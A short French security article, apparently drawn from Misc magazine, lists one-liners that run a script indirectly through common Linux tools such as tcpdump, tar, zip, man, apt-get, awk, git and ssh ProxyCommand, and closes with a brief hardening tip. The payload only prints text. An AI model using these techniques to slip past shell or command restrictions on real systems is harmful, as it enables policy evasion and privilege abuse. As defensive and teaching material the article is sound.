Exécution détourné de commande

1.Présentation

Le but de cet article est de montrer comment il est possible d'arriver à exécuter un script runme.sh sans l'appeler directement depuis Bash.

Le script est le suivant :

#! /bin/bash

echo "Hacker forever !"
echo "Remember it !"

2.Exploitation

Nous allons utiliser des commandes de bases présentes sur les systèmes d'exploitation Linux pour parvenir à nos fins.

2.1 TCPDUMP

tcpdump -n -i -lo -G1 -w /dev/null -z ./runme.sh 

2.2 SERVICE

service ../../tmp/runme.sh 

2.3 APT-GET

echo 'Dpkg::Pre-invoke {"~/tmp/runme.sh";};' > dpkg-opts

apt-get install coway -c=dpkg-opts

2.4 TAR

Première manière :

 tar c a.tar -I ./runme.sh a 

Seconde manière :

 tar  cvf a.tar runme.sh --checkpoint-action=exec='sh ./runme.sh' --checkpoint=1 

2.5 ZIP

zip z.zip runme.sh -T -TT ./runme.sh

2.6 MAN

 man -P /tmp/runme.sh man 

2.7 FIND

 find . -name runme.sh -exec ./runme.sh \; 

2.9 FTP

ftp

! ./runme.sh

2.10 AWK

 awk 'BEGIN {system("./runme.sh")}' 

2.11 GIT

Nous allons modifier la variable d'environnement PATH.

export PATH=/tmp:$PATH
ln -sf /tmp/runme.sh /tmp/git-help
git --exec-path=/tmp help

2.12 SSH

 
$ cat .ssh/config

Host server
	Hostname server.corp
	ProxyCommand /tmp/runme.sh

3.Comment se protéger

Il faut bien paramétrer les droits sur votre système Linux pour que les utilisateurs n'est pas accès à des commandes non nécessaires.

Source : Misc n°83 janvier/février 2016